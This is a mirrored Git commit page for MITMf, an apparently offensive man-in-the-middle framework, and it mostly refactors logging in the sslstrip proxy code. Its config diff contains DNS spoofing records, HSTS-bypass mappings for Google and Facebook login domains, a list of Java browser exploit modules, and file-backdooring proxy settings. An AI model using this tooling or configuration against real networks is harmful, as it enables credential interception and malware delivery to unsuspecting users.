mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 21:42:17 -07:00
- Logging is now seperate for each module
- added DNSChef submodule - Code style improvements - modified config file name , and options - Changed requirements and README
This commit is contained in:
parent
eb7e797ded
commit
d4c6b7d5b6
28 changed files with 317 additions and 242 deletions
3
.gitmodules
vendored
3
.gitmodules
vendored
|
@ -7,3 +7,6 @@
|
||||||
[submodule "core/beefapi"]
|
[submodule "core/beefapi"]
|
||||||
path = core/beefapi
|
path = core/beefapi
|
||||||
url = https://github.com/byt3bl33d3r/beefapi
|
url = https://github.com/byt3bl33d3r/beefapi
|
||||||
|
[submodule "libs/dnschef"]
|
||||||
|
path = libs/dnschef
|
||||||
|
url = https://github.com/byt3bl33d3r/dnschef
|
||||||
|
|
15
README.md
15
README.md
|
@ -11,13 +11,9 @@ This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-prox
|
||||||
|
|
||||||
Dependency change!
|
Dependency change!
|
||||||
===================
|
===================
|
||||||
As of v0.9.5 DNS tampering support needs NetfilterQueue v0.6 which is currently a fork, so it *cannot* be installed via pip or easy_install.
|
As of v0.9.5, DNS tampering support needs NetfilterQueue v0.6 which is currently a fork, so it *cannot* be installed via pip or easy_install.
|
||||||
|
|
||||||
Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it.
|
**Please read the [install](#installation) guide for details**
|
||||||
|
|
||||||
Installation
|
|
||||||
============
|
|
||||||
If MITMf is not in your distribuitions repo, or you just want the latest version, clone the repo run the ```setup.sh``` script and install all python dependencies in the ```requirements.txt``` file
|
|
||||||
|
|
||||||
Availible plugins
|
Availible plugins
|
||||||
=================
|
=================
|
||||||
|
@ -64,6 +60,13 @@ Changelog
|
||||||
|
|
||||||
- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html)
|
- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html)
|
||||||
|
|
||||||
|
Installation
|
||||||
|
============
|
||||||
|
If MITMf is not in your distros repo or you just want the latest version, clone this repository run the ```setup.sh``` script and install all python dependencies in the ```requirements.txt``` file using ```pip```.
|
||||||
|
|
||||||
|
Then, download the ```python-netfilterqueue``` library from here
|
||||||
|
https://github.com/fqrouter/python-netfilterqueue and manually install it.
|
||||||
|
|
||||||
Submitting Issues
|
Submitting Issues
|
||||||
=================
|
=================
|
||||||
If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com
|
If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com
|
||||||
|
|
|
@ -1,8 +1,14 @@
|
||||||
#MITMf configuration
|
#
|
||||||
|
#MITMf configuration file
|
||||||
|
#
|
||||||
|
|
||||||
[MITMf]
|
[MITMf]
|
||||||
|
|
||||||
#here you can set the arguments to pass to MITMf when it starts so all you need to do is run ```python mitmf.py``` (assuming you config file is in the default directory)
|
#
|
||||||
|
#here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py`
|
||||||
|
#(assuming you config file is in the default directory)
|
||||||
|
#
|
||||||
|
|
||||||
args=''
|
args=''
|
||||||
|
|
||||||
#Required BeEF and Metasploit options
|
#Required BeEF and Metasploit options
|
||||||
|
@ -17,9 +23,9 @@
|
||||||
rpcip = 127.0.0.1
|
rpcip = 127.0.0.1
|
||||||
rpcpass = abc123
|
rpcpass = abc123
|
||||||
|
|
||||||
#-----------------------------------------------------------------------------------------------------------------------------------------#
|
#
|
||||||
|
|
||||||
#Plugin configuration starts here
|
#Plugin configuration starts here
|
||||||
|
#
|
||||||
|
|
||||||
[Spoof]
|
[Spoof]
|
||||||
|
|
||||||
|
@ -28,10 +34,53 @@
|
||||||
subnet = 255.255.255.0
|
subnet = 255.255.255.0
|
||||||
dns_server = 192.168.2.20 #optional
|
dns_server = 192.168.2.20 #optional
|
||||||
|
|
||||||
[[DNS]]
|
|
||||||
www.facebook.com = 192.168.10.1
|
|
||||||
google.com = 192.168.20.61
|
|
||||||
|
|
||||||
|
[[DNS]]
|
||||||
|
|
||||||
|
#
|
||||||
|
#Here you can configure DNSChef's options
|
||||||
|
#
|
||||||
|
|
||||||
|
port = 53 #Port to listen on
|
||||||
|
nameservers = 8.8.8.8 #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
|
||||||
|
tcp = Off #Use the TCP DNS proxy instead of the default UDP
|
||||||
|
ipv6 = Off #Run in IPv6 mode
|
||||||
|
|
||||||
|
[[[A]]] # Queries for IPv4 address records
|
||||||
|
*.thesprawl.org=192.0.2.1
|
||||||
|
|
||||||
|
[[[AAAA]]] # Queries for IPv6 address records
|
||||||
|
*.thesprawl.org=2001:db8::1
|
||||||
|
|
||||||
|
[[[MX]]] # Queries for mail server records
|
||||||
|
*.thesprawl.org=mail.fake.com
|
||||||
|
|
||||||
|
[[[NS]]] # Queries for mail server records
|
||||||
|
*.thesprawl.org=ns.fake.com
|
||||||
|
|
||||||
|
[[[CNAME]]] # Queries for alias records
|
||||||
|
*.thesprawl.org=www.fake.com
|
||||||
|
|
||||||
|
[[[TXT]]] # Queries for text records
|
||||||
|
*.thesprawl.org=fake message
|
||||||
|
|
||||||
|
[[[PTR]]] # PTR queries
|
||||||
|
*.2.0.192.in-addr.arpa=fake.com
|
||||||
|
|
||||||
|
[[[SOA]]] #FORMAT: mname rname t1 t2 t3 t4 t5
|
||||||
|
*.thesprawl.org=ns.fake.com. hostmaster.fake.com. 1 10800 3600 604800 3600
|
||||||
|
|
||||||
|
[[[NAPTR]]] #FORMAT: order preference flags service regexp replacement
|
||||||
|
*.thesprawl.org=100 10 U E2U+sip !^.*$!sip:customer-service@fake.com! .
|
||||||
|
|
||||||
|
[[[SRV]]] #FORMAT: priority weight port target
|
||||||
|
*.*.thesprawl.org=0 5 5060 sipserver.fake.com
|
||||||
|
|
||||||
|
[[[DNSKEY]]] #FORMAT: flags protocol algorithm base64(key)
|
||||||
|
*.thesprawl.org=256 3 5 AQPSKmynfzW4kyBv015MUG2DeIQ3Cbl+BBZH4b/0PY1kxkmvHjcZc8nokfzj31GajIQKY+5CptLr3buXA10hWqTkF7H6RfoRqXQeogmMHfpftf6zMv1LyBUgia7za6ZEzOJBOztyvhjL742iU/TpPSEDhm2SNKLijfUppn1UaNvv4w==
|
||||||
|
|
||||||
|
[[[RRSIG]]] #FORMAT: covered algorithm labels labels orig_ttl sig_exp sig_inc key_tag name base64(sig)
|
||||||
|
*.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o=
|
||||||
|
|
||||||
[Responder]
|
[Responder]
|
||||||
|
|
||||||
|
@ -192,8 +241,11 @@
|
||||||
#you can add other scripts in additional sections like jQuery etc.
|
#you can add other scripts in additional sections like jQuery etc.
|
||||||
|
|
||||||
[JavaPwn]
|
[JavaPwn]
|
||||||
|
|
||||||
|
#
|
||||||
# All versions strings without a * are considered vulnerable if clients Java version is <= update version
|
# All versions strings without a * are considered vulnerable if clients Java version is <= update version
|
||||||
# When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
|
# When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
|
||||||
|
#
|
||||||
|
|
||||||
[[Multi]] #Cross platform exploits, yay java! <3
|
[[Multi]] #Cross platform exploits, yay java! <3
|
||||||
|
|
||||||
|
@ -221,8 +273,10 @@
|
||||||
windows/browser/java_mixer_sequencer = 1.6.0.18
|
windows/browser/java_mixer_sequencer = 1.6.0.18
|
||||||
|
|
||||||
[SSLstrip+]
|
[SSLstrip+]
|
||||||
#here you can configure your domains to bypass HSTS on
|
|
||||||
#the format is real.domain.com = fake.domain.com
|
#
|
||||||
|
#Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com
|
||||||
|
#
|
||||||
|
|
||||||
#for google and gmail
|
#for google and gmail
|
||||||
accounts.google.com = account.google.com
|
accounts.google.com = account.google.com
|
||||||
|
@ -232,46 +286,43 @@
|
||||||
#for facebook
|
#for facebook
|
||||||
www.facebook.com = social.facebook.com
|
www.facebook.com = social.facebook.com
|
||||||
|
|
||||||
#-----------------------------------------------------------------------------------------------------------------------------------------#
|
|
||||||
|
|
||||||
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
|
|
||||||
#
|
|
||||||
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
|
|
||||||
#
|
|
||||||
# Copyright (c) 2013-2014, Joshua Pitts
|
|
||||||
# All rights reserved.
|
|
||||||
#
|
|
||||||
# Redistribution and use in source and binary forms, with or without modification,
|
|
||||||
# are permitted provided that the following conditions are met:
|
|
||||||
#
|
|
||||||
# 1. Redistributions of source code must retain the above copyright notice,
|
|
||||||
# this list of conditions and the following disclaimer.
|
|
||||||
#
|
|
||||||
# 2. Redistributions in binary form must reproduce the above copyright notice,
|
|
||||||
# this list of conditions and the following disclaimer in the documentation
|
|
||||||
# and/or other materials provided with the distribution.
|
|
||||||
#
|
|
||||||
# 3. Neither the name of the copyright holder nor the names of its contributors
|
|
||||||
# may be used to endorse or promote products derived from this software without
|
|
||||||
# specific prior written permission.
|
|
||||||
#
|
|
||||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
|
||||||
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
|
||||||
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
|
||||||
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
|
|
||||||
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
|
||||||
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
|
||||||
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
|
||||||
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
|
||||||
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
# POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
#
|
|
||||||
# Tested on Kali-Linux.
|
|
||||||
|
|
||||||
#-----------------------------------------------------------------------------------------------------------------------------------------#
|
|
||||||
|
|
||||||
[FilePwn]
|
[FilePwn]
|
||||||
|
|
||||||
|
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
|
||||||
|
#
|
||||||
|
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
|
||||||
|
#
|
||||||
|
# Copyright (c) 2013-2014, Joshua Pitts
|
||||||
|
# All rights reserved.
|
||||||
|
#
|
||||||
|
# Redistribution and use in source and binary forms, with or without modification,
|
||||||
|
# are permitted provided that the following conditions are met:
|
||||||
|
#
|
||||||
|
# 1. Redistributions of source code must retain the above copyright notice,
|
||||||
|
# this list of conditions and the following disclaimer.
|
||||||
|
#
|
||||||
|
# 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
# this list of conditions and the following disclaimer in the documentation
|
||||||
|
# and/or other materials provided with the distribution.
|
||||||
|
#
|
||||||
|
# 3. Neither the name of the copyright holder nor the names of its contributors
|
||||||
|
# may be used to endorse or promote products derived from this software without
|
||||||
|
# specific prior written permission.
|
||||||
|
#
|
||||||
|
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
|
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||||
|
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
|
||||||
|
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||||
|
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||||
|
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||||
|
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||||
|
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
# POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
#
|
||||||
|
# Tested on Kali-Linux.
|
||||||
|
|
||||||
[[ZIP]]
|
[[ZIP]]
|
||||||
# patchCount is the max number of files to patch in a zip file
|
# patchCount is the max number of files to patch in a zip file
|
||||||
# After the max is reached it will bypass the rest of the files
|
# After the max is reached it will bypass the rest of the files
|
|
@ -34,7 +34,8 @@ from URLMonitor import URLMonitor
|
||||||
from CookieCleaner import CookieCleaner
|
from CookieCleaner import CookieCleaner
|
||||||
from DnsCache import DnsCache
|
from DnsCache import DnsCache
|
||||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
from configobj import ConfigObj
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class ClientRequest(Request):
|
class ClientRequest(Request):
|
||||||
|
|
||||||
|
@ -58,7 +59,7 @@ class ClientRequest(Request):
|
||||||
headers = self.getAllHeaders().copy()
|
headers = self.getAllHeaders().copy()
|
||||||
|
|
||||||
#for k,v in headers.iteritems():
|
#for k,v in headers.iteritems():
|
||||||
# logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v))
|
# mitmf_logger.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v))
|
||||||
|
|
||||||
if self.hsts:
|
if self.hsts:
|
||||||
|
|
||||||
|
@ -73,13 +74,13 @@ class ClientRequest(Request):
|
||||||
|
|
||||||
if 'host' in headers:
|
if 'host' in headers:
|
||||||
host = self.urlMonitor.URLgetRealHost(str(headers['host']))
|
host = self.urlMonitor.URLgetRealHost(str(headers['host']))
|
||||||
logging.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host))
|
mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host))
|
||||||
headers['host'] = host
|
headers['host'] = host
|
||||||
self.setHeader('Host', host)
|
self.setHeader('Host', host)
|
||||||
|
|
||||||
if 'accept-encoding' in headers:
|
if 'accept-encoding' in headers:
|
||||||
del headers['accept-encoding']
|
del headers['accept-encoding']
|
||||||
logging.debug("Zapped encoding")
|
mitmf_logger.debug("Zapped encoding")
|
||||||
|
|
||||||
if 'if-modified-since' in headers:
|
if 'if-modified-since' in headers:
|
||||||
del headers['if-modified-since']
|
del headers['if-modified-since']
|
||||||
|
@ -110,7 +111,7 @@ class ClientRequest(Request):
|
||||||
return "lock.ico"
|
return "lock.ico"
|
||||||
|
|
||||||
def handleHostResolvedSuccess(self, address):
|
def handleHostResolvedSuccess(self, address):
|
||||||
logging.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address))
|
mitmf_logger.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address))
|
||||||
host = self.getHeader("host")
|
host = self.getHeader("host")
|
||||||
headers = self.cleanHeaders()
|
headers = self.cleanHeaders()
|
||||||
client = self.getClientIP()
|
client = self.getClientIP()
|
||||||
|
@ -148,22 +149,22 @@ class ClientRequest(Request):
|
||||||
self.dnsCache.cacheResolution(hostparts[0], address)
|
self.dnsCache.cacheResolution(hostparts[0], address)
|
||||||
|
|
||||||
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
|
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
|
||||||
logging.debug("Sending expired cookies...")
|
mitmf_logger.debug("Sending expired cookies...")
|
||||||
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
|
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
|
||||||
|
|
||||||
elif (self.urlMonitor.isSecureFavicon(client, path)):
|
elif (self.urlMonitor.isSecureFavicon(client, path)):
|
||||||
logging.debug("Sending spoofed favicon response...")
|
mitmf_logger.debug("Sending spoofed favicon response...")
|
||||||
self.sendSpoofedFaviconResponse()
|
self.sendSpoofedFaviconResponse()
|
||||||
|
|
||||||
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
|
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
|
||||||
if 'securelink' in headers:
|
if 'securelink' in headers:
|
||||||
del headers['securelink']
|
del headers['securelink']
|
||||||
|
|
||||||
logging.debug("Sending request via SSL...(%s %s)" % (client,url))
|
mitmf_logger.debug("Sending request via SSL...(%s %s)" % (client,url))
|
||||||
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
|
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
logging.debug("Sending request via HTTP...")
|
mitmf_logger.debug("Sending request via HTTP...")
|
||||||
#self.proxyViaHTTP(address, self.method, path, postData, headers)
|
#self.proxyViaHTTP(address, self.method, path, postData, headers)
|
||||||
port = 80
|
port = 80
|
||||||
if len(hostparts) > 1:
|
if len(hostparts) > 1:
|
||||||
|
@ -182,14 +183,14 @@ class ClientRequest(Request):
|
||||||
address = self.dnsCache.getCachedAddress(host)
|
address = self.dnsCache.getCachedAddress(host)
|
||||||
|
|
||||||
if address != None:
|
if address != None:
|
||||||
logging.debug("[ClientRequest] Host cached: %s %s" % (host, str(address)))
|
mitmf_logger.debug("[ClientRequest] Host cached: %s %s" % (host, str(address)))
|
||||||
return defer.succeed(address)
|
return defer.succeed(address)
|
||||||
else:
|
else:
|
||||||
logging.debug("[ClientRequest] Host not cached.")
|
mitmf_logger.debug("[ClientRequest] Host not cached.")
|
||||||
return reactor.resolve(host)
|
return reactor.resolve(host)
|
||||||
|
|
||||||
def process(self):
|
def process(self):
|
||||||
logging.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host')))
|
mitmf_logger.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host')))
|
||||||
host = self.getHeader('host').split(":")[0]
|
host = self.getHeader('host').split(":")[0]
|
||||||
|
|
||||||
if self.hsts:
|
if self.hsts:
|
||||||
|
|
|
@ -18,6 +18,8 @@
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class DnsCache:
|
class DnsCache:
|
||||||
|
|
||||||
'''
|
'''
|
||||||
|
@ -49,7 +51,7 @@ class DnsCache:
|
||||||
def setCustomRes(self, host, ip_address=None):
|
def setCustomRes(self, host, ip_address=None):
|
||||||
if ip_address is not None:
|
if ip_address is not None:
|
||||||
self.cache[host] = ip_address
|
self.cache[host] = ip_address
|
||||||
logging.debug("DNS entry set: %s -> %s" %(host, ip_address))
|
mitmf_logger.debug("DNS entry set: %s -> %s" %(host, ip_address))
|
||||||
else:
|
else:
|
||||||
if self.customAddress is not None:
|
if self.customAddress is not None:
|
||||||
self.cache[host] = self.customAddress
|
self.cache[host] = self.customAddress
|
||||||
|
|
|
@ -21,6 +21,8 @@ import logging, re, string
|
||||||
from ServerConnection import ServerConnection
|
from ServerConnection import ServerConnection
|
||||||
from URLMonitor import URLMonitor
|
from URLMonitor import URLMonitor
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class SSLServerConnection(ServerConnection):
|
class SSLServerConnection(ServerConnection):
|
||||||
|
|
||||||
'''
|
'''
|
||||||
|
@ -55,11 +57,11 @@ class SSLServerConnection(ServerConnection):
|
||||||
for v in values:
|
for v in values:
|
||||||
if v[:7].lower()==' domain':
|
if v[:7].lower()==' domain':
|
||||||
dominio=v.split("=")[1]
|
dominio=v.split("=")[1]
|
||||||
logging.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
|
mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
|
||||||
real = self.urlMonitor.sustitucion
|
real = self.urlMonitor.sustitucion
|
||||||
if dominio in real:
|
if dominio in real:
|
||||||
v=" Domain=%s"%real[dominio]
|
v=" Domain=%s"%real[dominio]
|
||||||
logging.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
|
mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
|
||||||
newvalues.append(v)
|
newvalues.append(v)
|
||||||
value = ';'.join(newvalues)
|
value = ';'.join(newvalues)
|
||||||
|
|
||||||
|
@ -83,13 +85,13 @@ class SSLServerConnection(ServerConnection):
|
||||||
if ((not link.startswith('http')) and (not link.startswith('/'))):
|
if ((not link.startswith('http')) and (not link.startswith('/'))):
|
||||||
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
|
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
|
||||||
|
|
||||||
logging.debug("Found path-relative link in secure transmission: " + link)
|
mitmf_logger.debug("Found path-relative link in secure transmission: " + link)
|
||||||
logging.debug("New Absolute path-relative link: " + absoluteLink)
|
mitmf_logger.debug("New Absolute path-relative link: " + absoluteLink)
|
||||||
elif not link.startswith('http'):
|
elif not link.startswith('http'):
|
||||||
absoluteLink = "http://"+self.headers['host']+link
|
absoluteLink = "http://"+self.headers['host']+link
|
||||||
|
|
||||||
logging.debug("Found relative link in secure transmission: " + link)
|
mitmf_logger.debug("Found relative link in secure transmission: " + link)
|
||||||
logging.debug("New Absolute link: " + absoluteLink)
|
mitmf_logger.debug("New Absolute link: " + absoluteLink)
|
||||||
|
|
||||||
if not absoluteLink == "":
|
if not absoluteLink == "":
|
||||||
absoluteLink = absoluteLink.replace('&', '&')
|
absoluteLink = absoluteLink.replace('&', '&')
|
||||||
|
|
|
@ -28,6 +28,8 @@ from twisted.web.http import HTTPClient
|
||||||
from URLMonitor import URLMonitor
|
from URLMonitor import URLMonitor
|
||||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class ServerConnection(HTTPClient):
|
class ServerConnection(HTTPClient):
|
||||||
|
|
||||||
''' The server connection is where we do the bulk of the stripping. Everything that
|
''' The server connection is where we do the bulk of the stripping. Everything that
|
||||||
|
@ -72,14 +74,14 @@ class ServerConnection(HTTPClient):
|
||||||
except:
|
except:
|
||||||
self.clientInfo = "%s " % self.client.getClientIP()
|
self.clientInfo = "%s " % self.client.getClientIP()
|
||||||
|
|
||||||
logging.info(self.clientInfo + "Sending Request: %s" % self.headers['host'])
|
mitmf_logger.info(self.clientInfo + "Sending Request: %s" % self.headers['host'])
|
||||||
|
|
||||||
self.plugins.hook()
|
self.plugins.hook()
|
||||||
self.sendCommand(self.command, self.uri)
|
self.sendCommand(self.command, self.uri)
|
||||||
|
|
||||||
def sendHeaders(self):
|
def sendHeaders(self):
|
||||||
for header, value in self.headers.iteritems():
|
for header, value in self.headers.iteritems():
|
||||||
logging.debug("Sending header: (%s => %s)" % (header, value))
|
mitmf_logger.debug("Sending header: (%s => %s)" % (header, value))
|
||||||
self.sendHeader(header, value)
|
self.sendHeader(header, value)
|
||||||
|
|
||||||
self.endHeaders()
|
self.endHeaders()
|
||||||
|
@ -94,7 +96,7 @@ class ServerConnection(HTTPClient):
|
||||||
self.transport.write(self.postData)
|
self.transport.write(self.postData)
|
||||||
|
|
||||||
def connectionMade(self):
|
def connectionMade(self):
|
||||||
logging.debug("HTTP connection made.")
|
mitmf_logger.debug("HTTP connection made.")
|
||||||
self.plugins.hook()
|
self.plugins.hook()
|
||||||
self.sendRequest()
|
self.sendRequest()
|
||||||
self.sendHeaders()
|
self.sendHeaders()
|
||||||
|
@ -103,11 +105,11 @@ class ServerConnection(HTTPClient):
|
||||||
self.sendPostData()
|
self.sendPostData()
|
||||||
|
|
||||||
def handleStatus(self, version, code, message):
|
def handleStatus(self, version, code, message):
|
||||||
logging.debug("Got server response: %s %s %s" % (version, code, message))
|
mitmf_logger.debug("Got server response: %s %s %s" % (version, code, message))
|
||||||
self.client.setResponseCode(int(code), message)
|
self.client.setResponseCode(int(code), message)
|
||||||
|
|
||||||
def handleHeader(self, key, value):
|
def handleHeader(self, key, value):
|
||||||
logging.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value))
|
mitmf_logger.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value))
|
||||||
|
|
||||||
if (key.lower() == 'location'):
|
if (key.lower() == 'location'):
|
||||||
value = self.replaceSecureLinks(value)
|
value = self.replaceSecureLinks(value)
|
||||||
|
@ -117,15 +119,15 @@ class ServerConnection(HTTPClient):
|
||||||
if (key.lower() == 'content-type'):
|
if (key.lower() == 'content-type'):
|
||||||
if (value.find('image') != -1):
|
if (value.find('image') != -1):
|
||||||
self.isImageRequest = True
|
self.isImageRequest = True
|
||||||
logging.debug("Response is image content, not scanning...")
|
mitmf_logger.debug("Response is image content, not scanning...")
|
||||||
|
|
||||||
if (key.lower() == 'content-encoding'):
|
if (key.lower() == 'content-encoding'):
|
||||||
if (value.find('gzip') != -1):
|
if (value.find('gzip') != -1):
|
||||||
logging.debug("Response is compressed...")
|
mitmf_logger.debug("Response is compressed...")
|
||||||
self.isCompressed = True
|
self.isCompressed = True
|
||||||
|
|
||||||
elif (key.lower()== 'strict-transport-security'):
|
elif (key.lower()== 'strict-transport-security'):
|
||||||
logging.info("%s Zapped a strict-trasport-security header" % self.client.getClientIP())
|
mitmf_logger.info("%s Zapped a strict-trasport-security header" % self.client.getClientIP())
|
||||||
|
|
||||||
elif (key.lower() == 'content-length'):
|
elif (key.lower() == 'content-length'):
|
||||||
self.contentLength = value
|
self.contentLength = value
|
||||||
|
@ -162,10 +164,10 @@ class ServerConnection(HTTPClient):
|
||||||
|
|
||||||
def handleResponse(self, data):
|
def handleResponse(self, data):
|
||||||
if (self.isCompressed):
|
if (self.isCompressed):
|
||||||
logging.debug("Decompressing content...")
|
mitmf_logger.debug("Decompressing content...")
|
||||||
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
|
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
|
||||||
|
|
||||||
#logging.debug("Read from server:\n" + data)
|
#mitmf_logger.debug("Read from server:\n" + data)
|
||||||
|
|
||||||
data = self.replaceSecureLinks(data)
|
data = self.replaceSecureLinks(data)
|
||||||
res = self.plugins.hook()
|
res = self.plugins.hook()
|
||||||
|
@ -182,7 +184,7 @@ class ServerConnection(HTTPClient):
|
||||||
try:
|
try:
|
||||||
self.shutdown()
|
self.shutdown()
|
||||||
except:
|
except:
|
||||||
logging.info("Client connection dropped before request finished.")
|
mitmf_logger.info("Client connection dropped before request finished.")
|
||||||
|
|
||||||
def replaceSecureLinks(self, data):
|
def replaceSecureLinks(self, data):
|
||||||
if self.hsts:
|
if self.hsts:
|
||||||
|
@ -198,9 +200,9 @@ class ServerConnection(HTTPClient):
|
||||||
for match in iterator:
|
for match in iterator:
|
||||||
url = match.group()
|
url = match.group()
|
||||||
|
|
||||||
logging.debug("[ServerConnection] Found secure reference: " + url)
|
mitmf_logger.debug("[ServerConnection] Found secure reference: " + url)
|
||||||
nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
|
nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
|
||||||
logging.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl))
|
mitmf_logger.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl))
|
||||||
sustitucion[url] = nuevaurl
|
sustitucion[url] = nuevaurl
|
||||||
#data.replace(url,nuevaurl)
|
#data.replace(url,nuevaurl)
|
||||||
|
|
||||||
|
@ -209,11 +211,11 @@ class ServerConnection(HTTPClient):
|
||||||
dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys())))
|
dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys())))
|
||||||
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
|
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
|
||||||
|
|
||||||
#logging.debug("HSTS DEBUG received data:\n"+data)
|
#mitmf_logger.debug("HSTS DEBUG received data:\n"+data)
|
||||||
#data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data)
|
#data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data)
|
||||||
